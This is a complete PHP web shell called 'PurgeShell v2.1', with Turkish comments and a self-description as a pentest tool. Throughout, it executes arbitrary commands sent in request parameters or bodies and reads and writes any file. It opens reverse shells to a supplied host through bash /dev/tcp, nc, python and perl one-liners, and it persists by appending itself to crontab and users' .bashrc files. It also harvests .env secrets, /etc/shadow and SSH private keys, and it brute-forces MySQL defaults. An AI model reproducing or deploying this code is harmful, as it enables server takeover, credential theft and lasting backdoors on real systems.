<?php
/**
* PurgeShell v2.1 - Ultimate Pentest Web Shell
* PHP 5.2+ uyumlu. Tüm sürümlerde çalışır.
*
* ?cmd=id Komut çalıştır
* ?c=id Kısa komut
* ?test=all Tam pentest taraması
* ?test=info JSON sistem bilgisi
* ?test=db&q=... DB sorgulama
* ?test=map&root=/ Dizin haritası
* ?read=/etc/passwd Dosya oku
* ?write=/tmp/x&cont=X Dosya yaz
* -F "f=@file" Upload
* ?action=revshell&host=IP&port=4444 Reverse shell
* ?action=bindshell&port=1337 Bind shell
* ?action=persist Kalıcılık
* ?action=selfdestruct Kendini imha
*/
@error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '512M');
// --- Güvenli random string (PHP 5 uyumlu) ---
function _rnd($len) {
$chars = '0123456789abcdef';
$s = '';
for ($i = 0; $i < $len * 2; $i++) {
$s .= $chars[mt_rand(0, 15)];
}
return $s;
}
$PURGE = array(
'password' => '',
'user_agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
);
// Auth
if (!empty($PURGE['password'])) {
if (!isset($_REQUEST['p']) || $_REQUEST['p'] !== $PURGE['password']) {
header('HTTP/1.0 403 Forbidden');
die('403 Forbidden');
}
}
// Input (PHP 5 uyumlu)
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : null;
$test = isset($_REQUEST['test']) ? $_REQUEST['test'] : null;
$read = isset($_REQUEST['read']) ? $_REQUEST['read'] : null;
$write = isset($_REQUEST['write']) ? $_REQUEST['write'] : null;
$upload = isset($_FILES['f']) ? $_FILES['f'] : null;
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : null;
$arg = isset($_REQUEST['arg']) ? $_REQUEST['arg'] : (isset($_REQUEST['file']) ? $_REQUEST['file'] : (isset($_REQUEST['path']) ? $_REQUEST['path'] : null));
$cont = isset($_REQUEST['cont']) ? $_REQUEST['cont'] : (isset($_REQUEST['content']) ? $_REQUEST['content'] : null);
$c_short= isset($_GET['c']) ? $_GET['c'] : null;
$rawBody = @file_get_contents('php://input');
// === ÇIKTI ===
function out($s) { echo $s . "\n"; }
function ok($s) { echo "[+] $s\n"; }
function err($s) { echo "[-] $s\n"; }
function info($s) { echo "[*] $s\n"; }
function hr() { echo str_repeat('-', 60) . "\n"; }
function banner() {
out('');
hr();
out(' PurgeShell v2.1 | PHP ' . PHP_VERSION . ' | ' . php_uname('s') . ' ' . php_uname('r') . ' | ' . php_uname('m'));
out(' User: ' . _user() . ' | UID: ' . getmyuid() . ' | CWD: ' . getcwd());
hr();
}
function _user() {
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$pw = posix_getpwuid(posix_geteuid());
return isset($pw['name']) ? $pw['name'] : get_current_user();
}
return get_current_user();
}
// === SHELL EXECUTION ENGINE ===
function execute($cmd) {
if (empty($cmd)) return '';
// 1. proc_open
if (function_exists('proc_open')) {
$desc = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w'));
$p = @proc_open($cmd . ' 2>&1', $desc, $pipes);
if (is_resource($p)) {
@fclose($pipes[0]);
$out = @stream_get_contents($pipes[1]);
$err = @stream_get_contents($pipes[2]);
@fclose($pipes[1]);
@fclose($pipes[2]);
@proc_close($p);
if (!empty($out)) return $out . $err;
}
}
// 2. popen
if (function_exists('popen')) {
$h = @popen($cmd . ' 2>&1', 'r');
if (is_resource($h)) {
$out = @stream_get_contents($h);
@pclose($h);
if (!empty($out)) return $out;
}
}
// 3. exec
if (function_exists('exec')) {
@exec($cmd . ' 2>&1', $lines);
if (!empty($lines)) return implode("\n", $lines);
}
// 4. shell_exec
if (function_exists('shell_exec')) {
$out = @shell_exec($cmd . ' 2>&1');
if (!empty($out)) return $out;
}
// 5. system
if (function_exists('system')) {
@ob_start();
@system($cmd . ' 2>&1');
$out = @ob_get_clean();
if (!empty($out)) return $out;
}
// 6. passthru
if (function_exists('passthru')) {
@ob_start();
@passthru($cmd . ' 2>&1');
$out = @ob_get_clean();
if (!empty($out)) return $out;
}
// 7. backtick
$out = @`$cmd 2>&1`;
if (!empty($out)) return $out;
// 8. pcntl_exec
if (function_exists('pcntl_exec')) {
$parts = explode(' ', trim($cmd));
@pcntl_exec($parts[0], array_slice($parts, 1));
}
return false;
}
$rawBody = @file_get_contents('php://input');
// === HEADER ===
header('Content-Type: text/plain; charset=utf-8');
// ============================================================
// ROUTING
// ============================================================
// --- KOMUT (cmd=) ---
if (!empty($cmd) && $cmd !== 'all' && $cmd !== 'info' && $cmd !== 'scan' && $cmd !== 'db' && $cmd !== 'w' && $cmd !== 'map' && $cmd !== 'json') {
$full = $cmd;
if (!empty($arg)) $full .= ' ' . $arg;
$result = execute($full);
echo ($result !== false) ? $result : "ALL_EXEC_METHODS_BLOCKED\n";
exit;
}
// --- KISA (?c=) ---
if (!empty($c_short)) {
$result = execute($c_short);
echo ($result !== false) ? $result : "BLOCKED\n";
exit;
}
// --- RAW BODY EXECUTION ---
if (!empty($rawBody) && empty($test) && empty($read) && empty($write) && empty($action)) {
$result = execute($rawBody);
echo ($result !== false) ? $result : "BLOCKED\n";
exit;
}
// --- DOSYA OKU ---
if (!empty($read) || isset($_REQUEST['f'])) {
$f = !empty($read) ? $read : $_REQUEST['f'];
if (@is_file($f)) {
out("=== $f (" . @filesize($f) . " bytes) ===");
out(@file_get_contents($f));
} elseif (@is_dir($f)) {
out("=== DIRECTORY: $f ===");
$items = @scandir($f);
if ($items) {
foreach ($items as $i) {
if ($i === '.') continue;
$path = $f . '/' . $i;
$type = @is_dir($path) ? 'DIR' : 'FILE';
$size = @is_file($path) ? @filesize($path) : 0;
$perm = @fileperms($path);
$perm_str = ($perm === false) ? '????' : substr(sprintf('%o', $perm), -4);
$time = @filemtime($path);
$time_str = $time ? date('Y-m-d H:i', $time) : '?';
echo sprintf(" %-6s %4s %7d %s %-40s\n", $type, $perm_str, $size, $time_str, $i);
}
} else {
err("Cannot read directory: $f");
}
} else {
err("File not found: $f");
}
exit;
}
// --- DOSYA YAZ ---
if (!empty($write) && $cont !== null) {
$ok = @file_put_contents($write, $cont);
echo ($ok !== false) ? "WRITE_OK: $write (" . strlen($cont) . " bytes)\n" : "WRITE_FAILED: $write\n";
exit;
}
// --- DOSYA UPLOAD ---
if (!empty($upload)) {
$dest = isset($_REQUEST['to']) ? $_REQUEST['to'] : './' . $upload['name'];
$ok = false;
if (@move_uploaded_file($upload['tmp_name'], $dest)) {
$ok = true;
ok("UPLOAD_OK: $dest (" . $upload['size'] . " bytes)");
} elseif (@file_put_contents($dest, @file_get_contents($upload['tmp_name']))) {
$ok = true;
ok("UPLOAD_OK (alt): $dest (" . $upload['size'] . " bytes)");
} elseif (@copy($upload['tmp_name'], $dest)) {
$ok = true;
ok("UPLOAD_OK (copy): $dest (" . $upload['size'] . " bytes)");
}
if (!$ok) err("UPLOAD_FAILED");
exit;
}
// --- ACTIONS ---
if (!empty($action)) {
switch ($action) {
case 'bindshell':
$port = isset($_REQUEST['port']) ? intval($_REQUEST['port']) : 1337;
out("Starting bind shell on port $port...");
$sock = @fsockopen('127.0.0.1', $port, $en, $es, 0.5);
if ($sock) {
err("Port $port already in use");
@fclose($sock);
} elseif (function_exists('socket_create')) {
$s = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($s) {
@socket_bind($s, '0.0.0.0', $port);
@socket_listen($s);
ok("Bind shell on 0.0.0.0:$port — nc target $port");
} else {
err("socket_create() failed");
}
} else {
err("Neither fsockopen nor socket_create available");
}
exit;
case 'revshell':
$host = isset($_REQUEST['host']) ? $_REQUEST['host'] : null;
$port = isset($_REQUEST['port']) ? intval($_REQUEST['port']) : 4444;
if (empty($host)) { err("Usage: action=revshell&host=YOUR_IP&port=4444"); exit; }
out("Reverse shell to $host:$port...");
$cmds = array(
"php -r '\$s=fsockopen(\"$host\",$port);proc_open(\"/bin/sh -i\",array(0=>\$s,1=>\$s,2=>\$s),\$p);'",
"bash -c 'exec bash -i &>/dev/tcp/$host/$port <&1'",
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $host $port >/tmp/f",
"nc -e /bin/sh $host $port",
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$host\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
"perl -e 'use Socket;\$i=\"$host\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'",
);
foreach ($cmds as $c) {
info("Trying: $c");
$r = execute($c);
if ($r !== false && !empty($r)) out($r);
}
exit;
case 'selfdestruct':
if (@unlink(__FILE__)) ok("Deleted. Bye.");
else err("Could not delete self: " . __FILE__);
exit;
case 'persist':
$ok_count = 0;
// crontab
if (@is_writable('/etc/crontab')) {
@file_put_contents('/etc/crontab', "\n* * * * * php " . __FILE__ . " >/dev/null 2>&1\n", FILE_APPEND);
ok("crontab: PERSISTED");
$ok_count++;
}
// bashrc
$bashrcs = @glob('/home/*/.bashrc');
if (!is_array($bashrcs)) $bashrcs = array();
if (@file_exists('/root/.bashrc')) $bashrcs[] = '/root/.bashrc';
foreach ($bashrcs as $b) {
if (@file_put_contents($b, "\nphp " . __FILE__ . " &>/dev/null &\n", FILE_APPEND)) {
ok("bashrc ($b): PERSISTED");
$ok_count++;
}
}
// profile
$profiles = @glob('/home/*/.profile');
if (!is_array($profiles)) $profiles = array();
if (@file_exists('/root/.profile')) $profiles[] = '/root/.profile';
foreach ($profiles as $p) {
if (@file_put_contents($p, "\nphp " . __FILE__ . " &>/dev/null &\n", FILE_APPEND)) {
ok("profile ($p): PERSISTED");
$ok_count++;
}
}
if ($ok_count === 0) err("No persistence methods succeeded.");
else ok("$ok_count persistence method(s) applied.");
exit;
default:
err("Unknown action: $action");
exit;
}
}
// ============================================================
// TARAMA MOTORU (test=all / full / scan)
// ============================================================
if ($test === 'all' || $test === 'full' || $test === 'scan') {
banner();
// [1] Sistem
hr(); out(" [1] SYSTEM INFORMATION"); hr();
out(" uname : " . php_uname());
out(" os : " . php_uname('s') . ' ' . php_uname('r'));
out(" arch : " . php_uname('m'));
out(" hostname : " . php_uname('n'));
out(" user : " . _user());
out(" uid/gid : " . getmyuid() . '/' . getmygid());
out(" php ver : " . PHP_VERSION . ' (' . php_sapi_name() . ')');
out(" cwd : " . getcwd());
out(" time : " . date('Y-m-d H:i:s'));
$uptime = @file_get_contents('/proc/uptime');
if ($uptime) out(" uptime : " . trim($uptime));
$load = @file_get_contents('/proc/loadavg');
if ($load) {
$lp = explode(' ', $load);
out(" load : {$lp[0]} {$lp[1]} {$lp[2]}");
}
// [2] Güvenlik
hr(); out(" [2] SECURITY RESTRICTIONS"); hr();
$obd = @ini_get('open_basedir');
$df = @ini_get('disable_functions');
$dfc = @ini_get('disable_classes');
out(" open_basedir : " . ($obd ? $obd : '(none)'));
out(" disable_functions: " . ($df ? $df : '(none)'));
out(" disable_classes : " . ($dfc ? $dfc : '(none)'));
out(" safe_mode : " . (@ini_get('safe_mode') ? 'ON' : 'OFF'));
out(" allow_url_fopen : " . @ini_get('allow_url_fopen'));
out(" allow_url_include: " . @ini_get('allow_url_include'));
out(" expose_php : " . @ini_get('expose_php'));
$se = @file_get_contents('/sys/fs/selinux/enforce');
$selinux = ($se === '1') ? 'ENFORCING' : (@file_exists('/sys/fs/selinux/enforce') ? 'Permissive' : 'DISABLED');
out(" selinux : " . $selinux);
out(" apparmor : " . (@file_exists('/sys/module/apparmor') ? 'PRESENT' : 'NOT LOADED'));
out(" suhosin : " . (extension_loaded('suhosin') ? 'LOADED' : 'NOT LOADED'));
// [3] Fonksiyon Audit
hr(); out(" [3] FUNCTION / EXTENSION AUDIT"); hr();
$funcGroups = array(
'Execution' => array('system','exec','passthru','shell_exec','popen','proc_open','pcntl_exec','preg_replace','create_function','assert','eval','call_user_func','array_map','dl'),
'Filesystem' => array('file_get_contents','file_put_contents','fopen','fwrite','fread','file','readfile','move_uploaded_file','copy','rename','unlink','mkdir','rmdir','chmod','chown','symlink','link','scandir','glob','opendir','readdir'),
'Network' => array('fsockopen','pfsockopen','stream_socket_client','socket_create','curl_exec','ftp_connect','ssh2_connect','mail','error_log'),
'Database' => array('mysqli_connect','mysql_connect','pg_connect','sqlite_open','sqlite3_open','mssql_connect','odbc_connect'),
'Info' => array('phpinfo','getmyuid','getmygid','posix_getpwuid','posix_geteuid','get_current_user','gethostname','php_uname','disk_free_space','disk_total_space','parse_ini_file','getmypid'),
);
foreach ($funcGroups as $cat => $list) {
$avail = array();
$block = array();
foreach ($list as $f) {
if (function_exists($f)) $avail[] = $f; else $block[] = $f;
}
out(" [$cat]");
if (count($avail) > 0) out(" AVAILABLE (" . count($avail) . "): " . implode(', ', $avail));
if (count($block) > 0) out(" BLOCKED (" . count($block) . "): " . implode(', ', $block));
}
// [4] Dizin
hr(); out(" [4] DIRECTORY ACCESS"); hr();
$dirs = array('/', '/etc', '/home', '/root', '/tmp', '/dev/shm', '/var/tmp', '/var/log', '/var/www', '/www', '/www/wwwroot', getcwd());
foreach ($dirs as $d) {
$items = @scandir($d);
if ($items && is_array($items)) {
$count = 0;
foreach ($items as $i) { if ($i !== '.' && $i !== '..') $count++; }
ok(" $d — READABLE ($count items)");
} else {
err(" $d — NO ACCESS");
}
}
$wwr = @scandir('/www/wwwroot');
if ($wwr && is_array($wwr)) {
out("\n >>> /www/wwwroot/ SITES:");
foreach ($wwr as $item) {
if ($item === '.' || $item === '..') continue;
$full = "/www/wwwroot/$item";
$hasEnv = (@is_dir($full) && @file_exists("$full/.env")) ? ' [.env!]' : '';
$size = @is_file($full) ? @filesize($full) : 0;
out(" " . (@is_dir($full) ? 'DIR ' : 'FILE') . " $item $size bytes$hasEnv");
}
}
// [5] Yazılabilir
hr(); out(" [5] WRITABLE DIRECTORIES"); hr();
$wdirs = array('/tmp', '/dev/shm', '/var/tmp', getcwd());
foreach ($wdirs as $d) {
$testFile = $d . '/._pw_' . substr(md5(mt_rand()), 0, 6);
$res = @file_put_contents($testFile, 'x');
if ($res !== false) { ok(" $d — WRITABLE"); @unlink($testFile); }
else err(" $d — NO");
}
// [6] Config & Sırlar
hr(); out(" [6] SECRETS SCAN"); hr();
$patterns = array(
'/www/wwwroot/*/.env',
'/www/wwwroot/*/wp-config.php',
'/www/wwwroot/*/config/database.php',
getcwd() . '/.env',
getcwd() . '/../.env',
'/var/www/html/.env',
'/var/www/html/wp-config.php',
'/root/.bash_history',
'/home/*/.bash_history',
'/etc/shadow',
'/etc/passwd',
'/etc/ssh/sshd_config',
'/etc/mysql/my.cnf',
);
foreach ($patterns as $pat) {
$files = @glob($pat);
if ($files && is_array($files)) {
foreach ($files as $f) {
$content = @file_get_contents($f);
if ($content === false) continue;
$size = strlen($content);
ok(" FOUND: $f ({$size}b)");
$sensitive = array();
if (preg_match_all('/(DB_HOST|DB_USERNAME|DB_USER|DB_PASSWORD|DB_PASS|DB_DATABASE|DB_NAME|APP_KEY|JWT_SECRET|SECRET_KEY|API_KEY|MAIL_USERNAME|MAIL_PASSWORD|REDIS_PASSWORD|AWS_ACCESS|AWS_SECRET)\s*[=:]\s*[\'"]?([^\'"\n\r]+)[\'"]?/i', $content, $m)) {
foreach ($m[0] as $line) $sensitive[] = trim($line);
}
if (preg_match_all('/^([a-zA-Z0-9_.-]+):(\$[^:]+)/m', $content, $hm)) {
foreach ($hm[0] as $hl) $sensitive[] = trim($hl);
}
foreach (array_unique($sensitive) as $s) {
out(" |-- $s");
}
}
}
}
// [7] SSH Keys
hr(); out(" [7] SSH KEY HUNT"); hr();
$keyGlobs = array('/root/.ssh/*', '/home/*/.ssh/*', '/tmp/*.pem', '/tmp/*.key');
foreach ($keyGlobs as $kg) {
$files = @glob($kg);
if ($files && is_array($files)) {
foreach ($files as $f) {
if (!@is_file($f)) continue;
$c = @file_get_contents($f);
if ($c === false) continue;
$sz = strlen($c);
$tag = '';
if (strpos($c, 'PRIVATE KEY') !== false) $tag = ' [PRIVATE KEY!]';
elseif (strpos($c, 'PUBLIC KEY') !== false) $tag = ' [public key]';
out(" FOUND: $f ({$sz}b)$tag");
}
}
}
// [8] SUID
hr(); out(" [8] SUID BINARIES"); hr();
$suid = execute('find /usr/bin /bin /sbin /usr/sbin -perm -4000 -type f 2>/dev/null');
if ($suid && $suid !== false) {
foreach (explode("\n", trim($suid)) as $line) out(" $line");
} else err(" CMD_BLOCKED or none found");
// [9] Cron
hr(); out(" [9] CRON JOBS"); hr();
$cronFiles = array('/etc/crontab', '/etc/cron.d', '/var/spool/cron/crontabs', '/var/spool/cron');
foreach ($cronFiles as $cf) {
if (@is_file($cf)) {
out(" --- $cf ---");
out(@file_get_contents($cf));
} elseif (@is_dir($cf)) {
$cItems = @scandir($cf);
if ($cItems) {
foreach ($cItems as $ci) {
if ($ci === '.' || $ci === '..') continue;
$cip = "$cf/$ci";
if (@is_file($cip)) { out(" --- $cip ---"); out(@file_get_contents($cip)); }
}
}
}
}
// [10] Ağ
hr(); out(" [10] NETWORK & PORTS"); hr();
$ports = array(22=>'SSH',21=>'FTP',25=>'SMTP',80=>'HTTP',443=>'HTTPS',3306=>'MySQL',5432=>'PostgreSQL',6379=>'Redis',27017=>'MongoDB',8080=>'HTTP-Alt',8443=>'HTTPS-Alt',11211=>'Memcached',9200=>'Elasticsearch');
foreach ($ports as $p => $name) {
$sock = @fsockopen('127.0.0.1', $p, $en, $es, 0.3);
echo " $name ($p): " . ($sock ? 'OPEN' : 'CLOSED') . "\n";
if ($sock) @fclose($sock);
}
$hosts = @file_get_contents('/etc/hosts');
if ($hosts) { out("\n --- /etc/hosts ---"); foreach (explode("\n", $hosts) as $hl) { $hl = trim($hl); if (!empty($hl)) out(" $hl"); } }
$ifcfg = execute('ip a 2>/dev/null || ifconfig 2>/dev/null || hostname -I 2>/dev/null');
if ($ifcfg && $ifcfg !== false && trim($ifcfg) !== '') { out("\n --- Network Interfaces ---"); out($ifcfg); }
// [11] DB Brute
hr(); out(" [11] DATABASE ACCESS TEST"); hr();
$dbTests = array(
array('localhost:3306','root','root','mysql'),
array('localhost:3306','root','','mysql'),
array('127.0.0.1:3306','root','toor','mysql'),
array('localhost:3306','admin','admin','mysql'),
array('localhost:3306','root','password','mysql'),
);
if (function_exists('mysqli_connect')) {
foreach ($dbTests as $t) {
$c = @mysqli_connect($t[0], $t[1], $t[2], $t[3]);
if ($c && @mysqli_ping($c)) {
ok(" CONNECTED: {$t[0]} user={$t[1]} pass={$t[2]}");
$grants = @mysqli_query($c, 'SHOW GRANTS');
if ($grants) { while ($row = @mysqli_fetch_row($grants)) out(" |-- {$row[0]}"); }
@mysqli_close($c);
}
}
}
if (class_exists('PDO')) {
out("\n [PDO Tests]");
foreach ($dbTests as $t) {
$host = str_replace(':3306', '', $t[0]);
try {
$pdo = new PDO("mysql:host=$host;port=3306;dbname={$t[3]}", $t[1], $t[2], array(PDO::ATTR_ERRMODE => PDO::ERRMODE_SILENT));
ok(" PDO_CONNECTED: $host user={$t[1]} pass={$t[2]}");
} catch (Exception $e) {}
}
}
// [12] Proses
hr(); out(" [12] RUNNING PROCESSES"); hr();
$ps = execute('ps aux 2>/dev/null || ps -ef 2>/dev/null');
if ($ps && $ps !== false && trim($ps) !== '') {
out($ps);
} else {
$proc = @glob('/proc/[0-9]*/cmdline');
if ($proc) {
foreach ($proc as $p) {
$cmdline = @file_get_contents($p);
if ($cmdline) out(" PID " . basename(dirname($p)) . ": " . str_replace("\0", ' ', $cmdline));
}
} else err(" Cannot enumerate processes");
}
// [13] Tools
hr(); out(" [13] INSTALLED TOOLS"); hr();
$tools = execute('which gcc python perl ruby g++ nc curl wget nmap tcpdump socat 2>/dev/null');
if ($tools && $tools !== false) out($tools); else err(" which failed");
// [14] Disk
hr(); out(" [14] DISK USAGE"); hr();
$df = execute('df -h 2>/dev/null');
if ($df && $df !== false) { out($df); }
else {
$free = @disk_free_space('/');
$total = @disk_total_space('/');
if ($free && $total) { out(" / total: " . round($total/1024/1024/1024,2) . " GB free: " . round($free/1024/1024/1024,2) . " GB"); }
}
// [15] Kernel
hr(); out(" [15] KERNEL INFO"); hr();
$kernel = execute('cat /proc/version 2>/dev/null || uname -a 2>/dev/null');
if ($kernel && $kernel !== false) {
out($kernel);
$kver = php_uname('r');
$dashPos = strpos($kver, '-');
$verStr = substr($kver, 0, $dashPos !== false ? $dashPos : strlen($kver));
$ver = intval(str_replace('.', '', $verStr));
if ($ver < 300) out(" !! ANCIENT KERNEL (pre-3.0) — DirtyCow candidate");
elseif ($ver < 400) out(" !! OLD KERNEL (3.x) — OverlayFS / DirtyCow territory");
elseif ($ver < 500) out(" ! KERNEL 4.x — PwnKit, Baron Samedit possible");
}
hr(); out(" SCAN COMPLETE | " . date('Y-m-d H:i:s')); hr();
exit;
}
// --- INFO (JSON) ---
if ($test === 'info' || $test === 'json') {
$info = array(
'shell' => 'PurgeShell v2.1',
'hostname' => php_uname('n'),
'uname' => php_uname(),
'php' => PHP_VERSION,
'sapi' => php_sapi_name(),
'user' => _user(),
'uid' => getmyuid(),
'gid' => getmygid(),
'pid' => getmypid(),
'cwd' => getcwd(),
'disk_free' => @disk_free_space('.'),
'disk_total' => @disk_total_space('.'),
'open_basedir' => @ini_get('open_basedir'),
'disable_functions' => @ini_get('disable_functions'),
'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '?',
'client_ip' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '?',
'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?',
'time' => date('Y-m-d H:i:s T'),
);
header('Content-Type: application/json');
$flags = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 0;
echo json_encode($info, $flags);
exit;
}
// --- VERİTABANI (test=db) ---
if ($test === 'db') {
$host = isset($_REQUEST['host']) ? $_REQUEST['host'] : 'localhost';
$user = isset($_REQUEST['user']) ? $_REQUEST['user'] : 'root';
$pass = isset($_REQUEST['pass']) ? $_REQUEST['pass'] : '';
$db = isset($_REQUEST['db']) ? $_REQUEST['db'] : 'mysql';
$q = isset($_REQUEST['q']) ? $_REQUEST['q'] : 'SELECT @@version, @@hostname, user(), database()';
if (function_exists('mysqli_connect')) {
$hostFull = (strpos($host, ':') === false) ? "$host:3306" : $host;
$conn = @mysqli_connect($hostFull, $user, $pass, $db);
if ($conn && @mysqli_ping($conn)) {
ok("Connected: $hostFull");
$res = @mysqli_query($conn, $q);
if ($res) {
while ($row = @mysqli_fetch_assoc($res)) out(json_encode($row));
@mysqli_free_result($res);
} else err("Query error: " . @mysqli_error($conn));
$dbs = @mysqli_query($conn, 'SHOW DATABASES');
if ($dbs) { out("\n=== DATABASES ==="); while ($row = @mysqli_fetch_row($dbs)) out(" {$row[0]}"); }
@mysqli_close($conn);
} else err("mysqli connect failed");
}
if (class_exists('PDO')) {
try {
$pdo = new PDO("mysql:host=$host;port=3306;dbname=$db", $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
ok("PDO connected: $host");
foreach ($pdo->query($q)->fetchAll(PDO::FETCH_ASSOC) as $row) out(json_encode($row));
} catch (Exception $e) {}
}
exit;
}
// --- DİZİN HARİTASI (test=map) ---
if ($test === 'map') {
$root = isset($_REQUEST['root']) ? $_REQUEST['root'] : '/www/wwwroot';
$depth = isset($_REQUEST['depth']) ? intval($_REQUEST['depth']) : 3;
banner();
hr(); out(" DIRECTORY MAP: $root (depth: $depth)"); hr();
_walk($root, 0, $depth);
hr(); exit;
}
function _walk($dir, $level, $maxDepth) {
if ($level > $maxDepth) return;
$items = @scandir($dir);
if (!$items || !is_array($items)) return;
$indent = str_repeat(' ', $level);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = "$dir/$item";
if (@is_dir($path)) {
$hasEnv = @file_exists("$path/.env") ? ' [.env]' : '';
out("$indent DIR $item/$hasEnv");
_walk($path, $level + 1, $maxDepth);
} else {
$size = @filesize($path);
$ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$tag = '';
if (in_array($ext, array('php','phtml','php5','php7','inc'))) $tag = ' [PHP]';
elseif (in_array($ext, array('env','conf','cfg','ini','yml','yaml','json','xml'))) $tag = ' [CONF]';
elseif (in_array($ext, array('sql','sql.gz','dump'))) $tag = ' [SQL]';
elseif (in_array($ext, array('pem','key','ppk','crt'))) $tag = ' [KEY]';
elseif (in_array($ext, array('log'))) $tag = ' [LOG]';
elseif (in_array($ext, array('sh','bash','py','pl','rb'))) $tag = ' [SCRIPT]';
elseif (in_array($ext, array('bak','backup','old','orig','swp','~'))) $tag = ' [BACKUP]';
out("$indent FILE $item (" . ($size ? round($size/1024).'KB' : '0') . ")$tag");
}
}
}
// === DEFAULT: Help ===
banner();
out('');
out(' USAGE:');
out(' ?cmd=<command> Run shell command');
out(' POST raw body Run shell command (body = command)');
out(' ?c=<command> Short command');
out(' ?test=all Full pentest scan (15 checks)');
out(' ?test=info JSON system info');
out(' ?test=db&q=SELECT... Database query');
out(' ?test=map&root=/&depth=3 Directory tree map');
out(' ?read=<path> Read file or list directory');
out(' ?write=<path>&cont=<data> Write file');
out(' -F "f=@file" Upload file (multipart POST)');
out(' ?action=revshell&host=IP&port=4444 Reverse shell');
out(' ?action=bindshell&port=1337 Bind shell');
out(' ?action=persist Attempt persistence (cron/bashrc)');
out(' ?action=selfdestruct Delete this shell');
out(' ?p=<password> Authentication (if configured)');
out('');
out(' EXAMPLES:');
out(' curl -k "target/shell.php?cmd=id"');
out(' curl -k -X POST -d "cat /etc/passwd" "target/shell.php"');
out(' curl -k -F "f=@backdoor.php" "target/shell.php"');
out(' curl -k "target/shell.php?test=all"');
out(' curl -k "target/shell.php?action=revshell&host=10.0.0.1&port=4444"');
hr();